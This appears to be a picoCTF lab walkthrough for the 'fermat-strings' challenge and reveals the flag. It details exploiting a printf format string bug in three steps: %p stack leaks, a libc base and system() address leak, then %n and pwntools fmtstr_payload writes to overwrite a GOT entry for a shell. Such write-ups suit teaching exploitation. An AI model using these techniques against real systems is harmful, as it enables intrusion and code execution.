Description
Fermat's last theorem meets format strings.
Setup
Connect to the challenge server with netcat.
Download the binary for local analysis.
nc <challenge_host> <PORT_FROM_INSTANCE>wget <challenge_url>/fermat-strings # binary for local analysisSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1
Confirm the format string vulnerabilityObservationI noticed the challenge description links Fermat's theorem to 'format strings,' and the binary takes user input that is likely echoed back, which suggested the server passes input directly to printf without a format argument and that sending %p specifiers would reveal the vulnerability by printing stack addresses instead of the literal text.Connect and send%p.%p.%p.%pas input. If the server echoes back memory addresses instead of the literal string, you have a format string vulnerability - the input is passed directly to printf without a format string argument.bashecho '%p.%p.%p.%p' | nc <challenge_host> <PORT_FROM_INSTANCE>bashecho '%1$p.%2$p.%3$p' | nc <challenge_host> <PORT_FROM_INSTANCE>What didn't work first
Tried: Send '%s.%s.%s' instead of '%p.%p.%p' to probe the vulnerability.
%s dereferences the stack value as a pointer to a string, so instead of hex addresses you get garbage characters or a segfault from reading an invalid pointer. The server will likely crash or hang rather than echo recognizable output, making it impossible to confirm the vulnerability. Use %p to safely print pointer values as hex without any dereference.
Tried: Pipe input with printf instead of echo: 'printf '%p.%p' | nc ...'
Shell printf interprets the format specifiers itself before they reach netcat, expanding %p to an empty string or literal 'p' depending on the shell. The server never receives the raw percent signs. Use echo or quote the string as a Python one-liner to preserve the literal percent characters.
Learn more
A format string vulnerability arises when user-controlled input is passed as the format string to
printf,sprintf, or similar functions. Instead of safe code likeprintf("%s", user_input), the vulnerable code callsprintf(user_input)directly. This lets the attacker control what printf interprets as format specifiers.%pcauses printf to read a pointer-sized value from the stack and print it as a hex address. By sending many%pspecifiers, you can dump the entire printf argument list - which corresponds to consecutive stack words. This leaks stack data including saved return addresses and libc pointers left by the loader.Direct parameter access (
%N$p) lets you read the Nth argument directly without iterating:%7$preads the 7th stack word. This is useful for targeting a specific known offset, such as a libc pointer left on the stack by the program loader.Step 2
Leak the libc base addressObservationI noticed that ASLR randomizes libc's load address each run and that the format string read primitive gives direct access to stack values, which suggested scanning stack slots with %N$p to find a 0x7f... libc pointer left by the loader and computing the libc base by subtracting the known symbol offset.Use%N$pspecifiers with increasing N to scan stack slots for a libc pointer - a value in the0x7f...range pointing into libc. A common target is__libc_start_main+offset, which the loader leaves on the stack. Subtract the known offset for that symbol in your libc version to recover the libc base, then add the offset ofsystemto get its runtime address.bash# Leak a libc pointer from the stackpythonpython3 -c "pythonfrom pwn import *bashp = remote('<host>', <PORT_FROM_INSTANCE>)bash# Probe increasing N until a 0x7f... value appearsbashp.sendline('%213$lx') # example offset - adjust after testingpythonleak = int(p.recvline().strip(), 16)bashlibc_base = leak - libc.sym['__libc_start_main'] - 243 # adjust offsetbashsystem_addr = libc_base + libc.sym['system']pythonprint(hex(libc_base), hex(system_addr))bash"What didn't work first
Tried: Use %lx instead of %p to leak stack values, assuming %p might not work on 64-bit.
%lx and %p both read a word-sized value on 64-bit Linux, so the output is functionally identical. The real mistake is hardcoding the libc offset (the '- 243' adjustment) from a local libc version without checking the server's libc. Subtract the wrong offset and the computed libc base will be thousands of bytes off, making every derived address invalid. Extract the remote libc with the binary's RUNPATH or match the build ID to the correct libc version first.
Tried: Subtract libc.sym['__libc_start_main'] alone without the trailing +243 adjustment.
The loader leaves a return address pointing into __libc_start_main at some instruction after the call to main, not at the symbol's base address. Omitting the instruction offset produces a base that is off by a fixed number of bytes. The resulting system() address will be wrong, and any shell attempt will segfault. Find the exact offset by checking the return address in GDB or by computing leak - libc_base from a known run.
Learn more
This challenge does not use a stack overflow, so there is no canary to bypass. The entire attack is carried out through the format string read and write primitives alone. No overflow payload is ever sent.
The loader places pointers into libc on the stack before calling
main, most notably the return address back into__libc_start_main. Because ASLR randomizes libc's load base each run, you must leak one of these pointers before you can compute any other libc address. Once you know the base, every symbol offset (includingsystem) is fixed relative to it.To find the right stack position, look for a value that: (1) is in the
0x7f...range, and (2) falls within the libc mapping shown in/proc/self/maps. Subtract the known offset for__libc_start_mainin the challenge's libc build to get the base address.Step 3
Write to a target address using %nObservationI noticed that once we have system()'s runtime address, we need to redirect a function call to it, and the format string %n specifier writes the printed character count back into memory, which suggested using pwntools' fmtstr_payload to overwrite a GOT entry (such as atoi or strcspn) with system() so the next call passes our input directly to a shell.Use the%nspecifier to write the number of characters printed so far into a target address on the stack. Craft a payload that positions the target address on the stack, then uses%Nc%offset$nto write the desired value byte by byte.bash# pwntools fmtstr_payload helperpythonpython3 -c "pythonfrom pwn import *bash# fmtstr_payload(offset, {target_addr: value_to_write})bashpayload = fmtstr_payload(6, {0x404080: 0xdeadbeef})pythonprint(payload)bash"What didn't work first
Tried: Use fmtstr_payload with offset 1 instead of finding the correct stack offset first.
The offset argument tells pwntools which stack position holds the start of the attacker-controlled buffer. Using the wrong offset means the addresses embedded in the payload land on the wrong stack words, so the write targets point at garbage instead of the GOT entry. Confirm the offset by sending 'AAAA.%1$p.%2$p...' and finding the position where '0x41414141' appears in the output.
Tried: Overwrite __free_hook with system() instead of a GOT entry like atoi or strcspn.
__free_hook works in older glibc versions but was removed in glibc 2.34. If the challenge server runs glibc 2.34 or later, __free_hook no longer exists and overwriting that address writes into unmapped memory, causing a crash. Target a GOT entry for a function that receives user input (atoi, strcspn) instead, as those remain writable and function correctly across all glibc versions.
Learn more
%nis the most dangerous printf specifier - it writes the count of characters printed so far to the address stored in the corresponding argument. By controlling the character count (via padding like%100c) and the address on the stack, an attacker can write arbitrary values to arbitrary memory locations.pwntools'
fmtstr_payload()automates this entirely. Given the offset (which stack position holds the first attacker-controlled word) and a dictionary of{address: value}, it generates the optimal format string. It uses%hhn(write 1 byte) to minimize the character count needed, writing one byte at a time.Common write targets: the GOT entry for
printfitself (overwrite withsystemso the nextprintf(input)callssystem(input)), or__free_hook, or the saved return address after leaking its position.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{f3rm4t_pwn1ng_s1nc3_th3_17th_c3ntury}
Format string vulnerability - no stack overflow or canary bypass needed. Leak a libc pointer from the stack with %N$lx to compute the libc base and system() address, then use %n writes (or pwntools fmtstr_payload) to overwrite a GOT entry (atoi or strcspn) with system(), and pass /bin/sh as input to get a shell.